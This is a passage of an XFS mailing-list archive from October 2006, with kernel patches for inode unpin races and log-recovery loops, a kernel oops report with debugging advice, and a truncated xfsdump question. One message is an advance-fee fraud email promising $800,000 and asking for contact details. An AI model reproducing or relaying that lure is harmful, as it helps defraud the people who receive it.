oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9I2YKaG015428 for ; Tue, 17 Oct 2006 19:34:24 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA02274; Wed, 18 Oct 2006 12:33:33 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9I2XT7Y10089618; Wed, 18 Oct 2006 12:33:32 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9I2XPvp10086035; Wed, 18 Oct 2006 12:33:25 +1000 (AEST) Date: Wed, 18 Oct 2006 12:33:25 +1000 From: David Chinner To: xfs@oss.sgi.com Cc: Takenori Nagano Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061018023325.GL8394166@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061017020218.GE8394166@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9334 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 17, 2006 at 12:02:18PM +1000, David Chinner wrote: > In doing the previous patch that removed the igrab/iput, I used the > log force to provide synchronisation that prevented the unpin from > ever seeing an invalid state and hence we couldn't ever get a > use-after-free situation. What I failed to see was that we already > have this mechanism - the i_flags_lock and the XFS_IRECLAIM* flags. > > If we synchronise the setting of either of the XFS_IRECLAIM* flags > with the breakage of the bhv_vnode<->xfs_inode link, then we can > never get the state in xfs_iunpin() where the link has been broken > and the XFS_IRECLAIM* flags are not set. The current usage of > the i_flags_lock in xfs_iunpin is sufficient to provide this > guarantee, but we are breaking the link before setting the > XFS_IRECLAIMABLE flag in xfs_reclaim().... > > So, here's another patch that doesn't have the performance problems, > but removes the iput/igrab while still (I think) fixing the use > after free problem. Can you try this one out, Takenori? I've > run it through some stress tests and haven't been able to trigger > problems. I just hit the BUG_ON(vp == NULL) that I put in xfs_iunpin() in this patch. The xfs inode had no link to the bhv_vnode, nor did it have either XFS_IRECLAIM* flag set, and hence it triggered the BUG. The problem appears to be a race with on lookup with an inode that is getting deleted - xfs_iget_core() finds the xfs_inode in the cache with the XFS_IRECLAIMABLE flag set, so it removes that flag. It then removes the inode from the reclaim list. Then it checks to see if the inode has been unlinked, and if the create flag is not set we return ENOENT. Hence if we have transactions still to be written to disk on this inode, when xfs_iunpin finally gets called there is no reclaim flag set so it assumes that there's a vnode assoicated with the xfs inode and we got kaboom. I think this is a pre-existing bug in xfs_iget_core() that can result in a memory leak because xfs_iget_core() removes it from the reclaim list and then forgets about at... The following patch sits on top of the others - it may not apply because the tree I just pulled it from has the radix tree inode cache patches applied earlier in the series. Comments? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_iget.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-10-18 11:27:04.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-10-18 12:20:20.748107559 +1000 @@ -164,6 +164,34 @@ again: goto again; } + + /* + * If IRECLAIMABLE is set on this inode and lookup is + * racing with unlink, then we should return an error + * immediately so we don't remove it from the reclaim + * list and potentially leak the inode. + * + * Also, there may be transactions sitting in the + * incore log buffers or being flushed to disk at this + * time. We can't clear the XFS_IRECLAIMABLE flag + * until these transactions have hit the disk, + * otherwise we will void the guarantee the flag + * provides xfs_iunpin() + */ + if (xfs_iflags_test(ip, XFS_IRECLAIMABLE)) { + if (ip->i_d.di_mode == 0) && + !(flags & XFS_IGET_CREATE)) { + read_unlock(&ih->ih_lock); + return ENOENT; + } + if (xfs_ipincount(ip)) { + read_unlock(&ih->ih_lock); + xfs_log_force(mp, 0, + XFS_LOG_FORCE|XFS_LOG_SYNC); + XFS_STATS_INC(xs_ig_frecycle); + goto again; + } + } vn_trace_exit(vp, "xfs_iget.alloc", (inst_t *)__return_address); From owner-xfs@oss.sgi.com Tue Oct 17 20:47:51 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 20:47:58 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9I3lmaG027987 for ; Tue, 17 Oct 2006 20:47:51 -0700 X-ASG-Debug-ID: 1161143226-24162-944-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 71F59D19843E for ; Tue, 17 Oct 2006 20:47:06 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 3666B1809E77A; Tue, 17 Oct 2006 22:47:05 -0500 (CDT) Message-ID: <4535A3BE.9000006@sandeen.net> Date: Tue, 17 Oct 2006 22:47:10 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Eric Sandeen CC: chatz@melbourne.sgi.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corrupted log causes infinite loop at mount Subject: Re: corrupted log causes infinite loop at mount References: <452FECFE.5050902@sandeen.net> <4531CC5D.5010705@melbourne.sgi.com> <45323F7F.80807@sandeen.net> In-Reply-To: <45323F7F.80807@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23508 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9335 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Eric Sandeen wrote: > David Chatterton wrote: >> I assume the loop is further up the chain since kmem_alloc should >> return NULL >> when asked to alloc 0. So then the problem also lies further up the >> chain in >> checking for a 0 length before calling down, and/or not assuming we >> are out of >> memory when xfs_buf_get_noaddr fails. > > Well, I set kdb breakpoints, and we only entered xfs_buf_get_noaddr > once, so I assume it's looping inside. But I was looking for bugs on, > um, another filesystem at the time, so didn't investigate much. > > I can put it on my list of spare-time bugs to look at, or just thought > you guys may be interested as well. well, as a quick fix, this seems to do the trick: --- linux-2.6.18.orig/fs/xfs/xfs_log_recover.c +++ linux-2.6.18/fs/xfs/xfs_log_recover.c @@ -75,6 +75,9 @@ xlog_get_bp( int num_bblks) { ASSERT(num_bblks > 0); + if (num_bblks <= 0) { + return NULL; + } if (log->l_sectbb_log) { if (num_bblks > 1) but it's not the most helpful output: XFS: Log inconsistent (didn't find previous header) XFS: empty log check failed XFS: log mount/recovery failed: error 5 XFS: log mount failed ... but not that bad I guess. it's getting the 0 allocation because last & start are equal here: num_blks 0 last 2756 start 2756 [] xlog_find_verify_log_record+0x45/0x2f2 [xfs] [] xlog_find_tail+0x20e/0xb8d [xfs] [] xlog_recover+0x16/0x22d [xfs] [] xfs_log_mount+0x4e4/0x530 [xfs] [] xfs_mountfs+0xa58/0xf61 [xfs] [] xfs_ioinit+0x1e/0x23 [xfs] [] xfs_mount+0x7a8/0x875 [xfs] [] vfs_mount+0x17/0x1a [xfs] [] xfs_fs_fill_super+0x6c/0x1b3 [xfs] [] get_sb_bdev+0xd1/0x11f [] xfs_fs_get_sb+0x20/0x25 [xfs] [] vfs_kern_mount+0x83/0xf6 [] do_kern_mount+0x2d/0x3e [] do_mount+0x5fe/0x671 [] sys_mount+0x77/0xae [] syscall_call+0x7/0xb and they're equal because in xlog_find_zeroed(): start_blk = last_blk - num_scan_bblks; /* here, start 2756 last 3268 num_scan_bblks 512 */ /* * We search for any instances of cycle number 0 that occur before * our current estimate of the head. What we're trying to detect is * 1 ... | 0 | 1 | 0... * ^ binary search ends here */ if ((error = xlog_find_verify_cycle(log, start_blk, (int)num_scan_bblks, 0, &new_blk))) goto bp_err; if (new_blk != -1) last_blk = new_blk; /* now new last_blk == new_blk == 2756, same as start */ /* * Potentially backup over partial log record write. We don't need * to search the end of the log because we know it is zero. */ if ((error = xlog_find_verify_log_record(log, start_blk, &last_blk, 0)) == -1) { Maybe that's enough for Tim to come up with a better check :) -Eric From owner-xfs@oss.sgi.com Tue Oct 17 21:07:13 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 21:07:21 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9I476aG029842 for ; Tue, 17 Oct 2006 21:07:11 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA04187; Wed, 18 Oct 2006 14:06:07 +1000 Date: Wed, 18 Oct 2006 14:06:11 +1000 From: Timothy Shimmin To: David Chinner cc: Russell Cattelan , Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <3A69E64373AA5E3A31AB1326@timothy-shimmins-power-mac-g5.local> In-Reply-To: <20061017215706.GI8394166@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> <20061017215706.GI8394166@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9336 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Dave, --On 18 October 2006 7:57:06 AM +1000 David Chinner wrote: > On Tue, Oct 17, 2006 at 05:13:01PM +1000, Tim Shimmin wrote: >> --On 17 October 2006 10:50:38 AM +1000 David Chinner wrote: >> > Fix them - inline functions in header files should always be "static >> > inline". Inline functions in .c files should always be static as >> > well - if they need to be accessed from different source files then >> > they need to be in header files. Hence "STATIC inline" is broken >> > code and should be fixed anyway. Luckily, there are very few of >> > these to fix and they are all in .c files: >> > >> > chook 137% grep -rIw "STATIC inline" fs/xfs | wc -l >> > 21 >> >> So you are saying that "static inline"s should always be. > > Yup. > >> So for CONFIG_XFS_DEBUG where we define STATIC and so make static >> disappear for uses of STATIC, we will no longer touch these >> "static inline" functions. > > Yup. The function will still get inlined, so changing it's scope on > debug builds doesn't provide any benefit IMO. FWIW, for debug > builds we probably want noinline.... > Yep. That's what I was meaning. On debug I want the STATIC_INLINE's to go away (well, noinline), so that I can see the funcs in the debug trace. >> I thought that for debug, we could stop them from being inline >> for easier debugging. We could have a STATIC_INLINE :-) > > We could, but I don't think it gains us anything. It gives us what we said above, i.e. on debug they become noinline. And like Russell said, it makes it clearer what is happening. On non-debug, STATIC -> static noinline STATIC_INLINE -> static inline On debug, STATIC -> noinline STATIC_INLINE -> noinline Although for STATIC_INLINE in headers, it won't work on debug b/c of multiple definitions. D'oh. --Tim From owner-xfs@oss.sgi.com Tue Oct 17 23:55:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 23:55:51 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9I6tfaG020693 for ; Tue, 17 Oct 2006 23:55:43 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA08162; Wed, 18 Oct 2006 16:54:53 +1000 Date: Wed, 18 Oct 2006 16:54:58 +1000 From: Timothy Shimmin To: peyytmek@gmx.de, xfs@oss.sgi.com Subject: Re: xfs mounting problem, hdb1 just freezes Message-ID: <44C178671B335D901A3FC0FB@timothy-shimmins-power-mac-g5.local> In-Reply-To: <200610162114.36314.peyytmek@gmx.de> References: <200610162114.36314.peyytmek@gmx.de> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9337 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi, --On 16 October 2006 9:14:35 PM +0000 peyytmek@gmx.de wrote: > I've got a problem with my xfs-partition after my pc crashed. > Every programm that tries to use hdb1 just freezes like mount or even > xfs_check (even killall -9 proc-name doesn't help) > > thats what i get with dmesg. maybe someone of you can understand it. > It was in the log recovery code. Part of the recovery code processes the unlinked list, which has referenced inodes which have been unlinked from their parent directories. On the unclean unmount ("pc crashed"), during recovery it is supposed to delete these inodes and truncate their extents, so it can recover the space etc... During this processing we've died in xfs_bmap_search_extents when it detects an error it calls xfs_cmn_err CE_ALERT -> cmn_err CE_PANIC in support/debug.c. I guess there is a problem after it processes the extents in xfs_bmap_search_multiextents which sets up the found extent entry. You could print out the offending inode with xfs_db to show us what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". Interestingly with an older xfs we never did inode unlink processing because of a double endian conversion bug which Shailendra found. So without the fix, it ended up just skipping over these inodes and they were cleaned up until xfs_repair was used; but it would still do the actual log replay nonetheless. So it would be interesting to do a recovery without unlinked-list processing. It looks like we have a mount flag for this but are not setting it (used by something else) - d'oh. Do you have a kernel dated prior to May 26? It might be interesting to mount with it since it didn't do the unlink processing effectively. Then one could unmount straight afterwards and run repair. --Tim > thanks in advance. > > dmesg on hdb1 on boot: > > XFS mounting filesystem hdb1 > Starting XFS recovery on filesystem: hdb1 (logdev: internal) > Access to block zero: fs: inode: 950759 start_block : 0 start_off : 0 > blkcnt : 0 extent-state : 0 > ------------[ cut here ]------------ > kernel BUG at fs/xfs/support/debug.c:57! > invalid opcode: 0000 [#1] > PREEMPT > Modules linked in: > CPU: 0 > EIP: 0060:[] Not tainted VLI > EFLAGS: 00010246 (2.6.18-gentoo #7) > EIP is at cmn_err+0xb9/0xe0 > eax: 00000000 ebx: 00000297 ecx: ffffffff edx: 00004301 > esi: f78c97a0 edi: c064e2e0 ebp: 00000000 esp: f7c9b75c > ds: 007b es: 007b ss: 0068 > Process mount (pid: 2114, ti=f7c9a000 task=f7c5d050 task.ti=f7c9a000) > Stack: c0556f3b c052284a c064e2e0 f7c9b788 f7c9b8f8 f78c97a0 f7c9b93c 00000000 > c02dec27 00000000 c0548610 f7cd54c0 000e81e7 00000000 00000000 00000000 > 00000000 00000000 00000000 00000000 00000000 00000000 00000001 00000000 > Call Trace: > [] xfs_bmap_search_extents+0x117/0x120 > [] xfs_bunmapi+0x1d4/0x1db0 > [] ide_dma_exec_cmd+0x30/0x40 > [] ide_dma_start+0x33/0x50 > [] ide_do_request+0x682/0x830 > [] ide_end_request+0x14c/0x160 > [] mempool_alloc+0x38/0x120 > [] mempool_alloc+0x38/0x120 > [] as_set_request+0x26/0x80 > [] find_lock_page+0x2c/0xc0 > [] xfs_bunmapi+0x0/0x1db0 > [] xfs_itruncate_finish+0x28f/0x460 > [] xfs_inactive+0x668/0xca0 > [] xfs_buf_get_flags+0x293/0x4a0 > [] xfs_buf_read_flags+0x34/0xa0 > [] xfs_trans_read_buf+0x5c/0x3e0 > [] xfs_buf_offset+0x44/0x50 > [] xfs_fs_clear_inode+0x3e/0xa0 > [] clear_inode+0x5a/0xe0 > [] generic_delete_inode+0xf6/0x130 > [] xlog_recover_process_iunlinks+0x559/0x580 > [] xfs_buf_free+0x5b/0x110 > [] xlog_recover_finish+0x3d2/0x510 > [] xfs_initialize_vnode+0x3ab/0x3c0 > [] xfs_iget+0x429/0x737 > [] xfs_mountfs+0xe40/0x1060 > [] default_wake_function+0x0/0x20 > [] __down_failed+0x7/0xc > [] generic_unplug_device+0x0/0x40 > [] xfs_buf_rele+0x25/0xe0 > [] xfs_mount+0x6e1/0xa60 > [] xfs_fs_fill_super+0x9d/0x240 > [] snprintf+0x2b/0x30 > [] disk_name+0x98/0xd0 > [] sb_set_blocksize+0x1f/0x50 > [] get_sb_bdev+0x13b/0x180 > [] xfs_fs_get_sb+0x37/0x40 > [] xfs_fs_fill_super+0x0/0x240 > [] vfs_kern_mount+0x4c/0xa0 > [] do_kern_mount+0x42/0x60 > [] do_mount+0x28d/0x730 > [] link_path_walk+0x7d/0x100 > [] dput+0x23/0x190 > [] putname+0x31/0x40 > [] do_path_lookup+0xb0/0x2e0 > [] getname+0xb1/0x100 > [] vfs_stat+0x1f/0x30 > [] __get_free_pages+0x34/0x60 > [] copy_mount_options+0x44/0x130 > [] sys_mount+0x9d/0xe0 > [] syscall_call+0x7/0xb > Code: e0 e2 64 c0 c7 04 24 3b 6f 55 c0 89 44 24 04 e8 7e 37 de ff 53 9d 89 e0 > 25 00 e0 ff ff ff 48 14 8b 40 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 00 b8 ec > 52 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b > EIP: [] cmn_err+0xb9/0xe0 SS:ESP 0068:f7c9b75c > <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 across:1004020k > From owner-xfs@oss.sgi.com Wed Oct 18 02:08:02 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 02:08:08 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9I97vaG012625 for ; Wed, 18 Oct 2006 02:08:01 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA11293; Wed, 18 Oct 2006 19:07:06 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9I9747Y10211000; Wed, 18 Oct 2006 19:07:05 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9I971es10215930; Wed, 18 Oct 2006 19:07:01 +1000 (AEST) Date: Wed, 18 Oct 2006 19:07:01 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061018090701.GU11034@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> <20061018023325.GL8394166@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061018023325.GL8394166@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9338 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 18, 2006 at 12:33:25PM +1000, David Chinner wrote: > On Tue, Oct 17, 2006 at 12:02:18PM +1000, David Chinner wrote: > > So, here's another patch that doesn't have the performance problems, > > but removes the iput/igrab while still (I think) fixing the use > > after free problem. Can you try this one out, Takenori? I've > > run it through some stress tests and haven't been able to trigger > > problems. > > I just hit the BUG_ON(vp == NULL) that I put in xfs_iunpin() > in this patch. The xfs inode had no link to the bhv_vnode, nor > did it have either XFS_IRECLAIM* flag set, and hence it triggered > the BUG. And again. The xfs_iget_core change is valid - there's still a race in xfs_iunpin (how many of them can we find?): xfs_iunpin xfs_iget_core if(atomic_dec_and_test(pincount)) if (vp == NULL) if(IRECLAIMABLE) if(pincount) force+restart ..... clear IRECLAIMABLE spin_lock(i_flags_lock) If (IRECLAIMABLE) BUG_ON(vp == NULL) So the solution is this: --- fs/xfs/xfs_inode.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-18 11:27:04.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-18 16:45:12.658102093 +1000 @@ -2738,7 +2738,7 @@ xfs_iunpin( { ASSERT(atomic_read(&ip->i_pincount) > 0); - if (atomic_dec_and_test(&ip->i_pincount)) { + if (atomic_dec_and_lock(&ip->i_pincount, &ip->i_flags_lock)) { /* * If the inode is currently being reclaimed, the link between @@ -2757,7 +2757,6 @@ xfs_iunpin( * unpinned. */ - spin_lock(&ip->i_flags_lock); if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); struct inode *inode = NULL; I'm running stress tests on this now - it it survives until morning I'll send out a new set of patches for testing... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Wed Oct 18 02:52:16 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 02:52:29 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9I9qEaG019731 for ; Wed, 18 Oct 2006 02:52:16 -0700 X-ASG-Debug-ID: 1161161432-16407-676-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from h60275.serverkompetenz.net (k-srv.de [81.169.175.16]) by cuda.sgi.com (Spam Firewall) with ESMTP id 524D04B07CF for ; Wed, 18 Oct 2006 01:50:32 -0700 (PDT) Received: by h60275.serverkompetenz.net (Postfix, from userid 30) id 70AF364A5A4; Wed, 18 Oct 2006 10:20:17 +0200 (CEST) To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: TREMENDOUS GOOD NEWS. Subject: TREMENDOUS GOOD NEWS. From: "HON.MR MICHEAL HILL" Reply-To: s_nicolas_akim@yahoo.fr MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: <20061018082017.70AF364A5A4@h60275.serverkompetenz.net> Date: Wed, 18 Oct 2006 10:20:17 +0200 (CEST) X-Barracuda-Spam-Score: 0.86 X-Barracuda-Spam-Status: No, SCORE=0.86 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23518 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9339 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: michealhill@ig.com.br Precedence: bulk X-list: xfs Status: O Dear Friend, It is my pleasure to reach you after our unsuccessful attempt on our business transaction. Well, I just want to use this medium to thank you very much for your earlier assistance to help me in receiving the funds, without any positive outcome. I am obliged to inform you that I have succeeded in receiving the funds with the help of a new partner from Paraguay Mr. Fernando Alvaro Gomez. Everything was perfectly done because we strike a deal with one of the Lady Accountant who works with the Federal Ministry of Financ(FMF), and she rendered a tremendous help to us. My new partner initiated this idea and everything worked out successfully. In appreciation of your earlier assistance to me in receiving the funds, I have decided to compensate you with the sum of $800,000.00 (Eight Hundred Thousand United States Dollars) in a Cashier's cheque. This is from my own share. I did this simply to show appreciation to you for your kind support and assistance even though we could not succeed due to some unforseen circumstances and reason. Presently, I am in Hong Kong for investment project with my own share under the advice of my partner.Meanwhile, I didn'tforget your past efforts and attempts to assist me in transferring this funds despite the fact that we could not succeed. I will be sending you e-mail from time to time to know if you have received your share or not. In the light of the above, you are therefore, to contact my personal assistant Mr. Nicolas Akim on my former telephone line and do send him your contact address where you want the cheque to be sent to you. His e-mail address: s_nicolas_akim@yahoo.fr Please do let me know immediately you receive it so that we can share the joy together after all the suffering at that time. In the moment, I am very busy here in Hong Kong because of the investment projects, which the new partner and I are having at hand. So feel free to get in touch with him to send the cheque to you without any delay. BEST REGARDS Hon MR MICHEAL HILL. From owner-xfs@oss.sgi.com Wed Oct 18 03:41:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 03:41:10 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IAexaG026686 for ; Wed, 18 Oct 2006 03:41:00 -0700 X-ASG-Debug-ID: 1161164122-6888-706-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mxb.liv.ac.uk (mxb.liv.ac.uk [138.253.100.102]) by cuda.sgi.com (Spam Firewall) with ESMTP id AF960D199F18 for ; Wed, 18 Oct 2006 02:35:22 -0700 (PDT) Received: from mailhuba.liv.ac.uk ([138.253.100.36]) by mxb.liv.ac.uk with esmtp (Exim 4.62) (envelope-from ) id 1Ga7pY-0000yI-D8 for xfs@oss.sgi.com; Wed, 18 Oct 2006 10:35:20 +0100 Received: from localhost ([127.0.0.1] helo=mailhuba.liv.ac.uk) by mailhuba.liv.ac.uk with esmtp (Exim 4.54) id 1Ga7pY-0003Jc-BK for xfs@oss.sgi.com; Wed, 18 Oct 2006 10:35:20 +0100 Received: from npa.ph.liv.ac.uk ([138.253.148.32]) by mailhuba.liv.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.54) id 1Ga7pY-0003JY-Af for xfs@oss.sgi.com; Wed, 18 Oct 2006 10:35:20 +0100 Received: from smartpet.ph.liv.ac.uk (root@smartpet.ph.liv.ac.uk [138.253.148.194]) by npa.ph.liv.ac.uk (8.13.8/8.13.8/Debian-2) with ESMTP id k9I9ZKX7009553 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Wed, 18 Oct 2006 10:35:20 +0100 Received: from smartpet.ph.liv.ac.uk (jrc@localhost.localdomain [127.0.0.1]) by smartpet.ph.liv.ac.uk (8.13.4/8.13.4/Debian-3) with ESMTP id k9I9ZKo3014553 for ; Wed, 18 Oct 2006 10:35:20 +0100 Received: (from jrc@localhost) by smartpet.ph.liv.ac.uk (8.13.4/8.13.4/Submit) id k9I9ZKYD014552 for xfs@oss.sgi.com; Wed, 18 Oct 2006 10:35:20 +0100 From: John Cresswell Message-Id: <200610180935.k9I9ZKYD014552@smartpet.ph.liv.ac.uk> X-ASG-Orig-Subj: Xfsdump error Subject: Xfsdump error To: xfs@oss.sgi.com Date: Wed, 18 Oct 2006 10:35:20 +0100 (BST) X-Mailer: ELM [version 2.4ME+ PL100 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23525 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9340 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jrc@ns.ph.liv.ac.uk Precedence: bulk X-list: xfs Status: O I hope sombody can help me with this problem. I have had to physically move our server, and though connections and tape drives are the same, backups no longer work. The tape drive can be written and read OK using tar, for example, but not using xfsdump. A truncated example follows ... xfsdump: RLIMIT_AS org cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: RLIMIT_STACK org cur 0x800000 max 0xffffffffffffffff xfsdump: raising 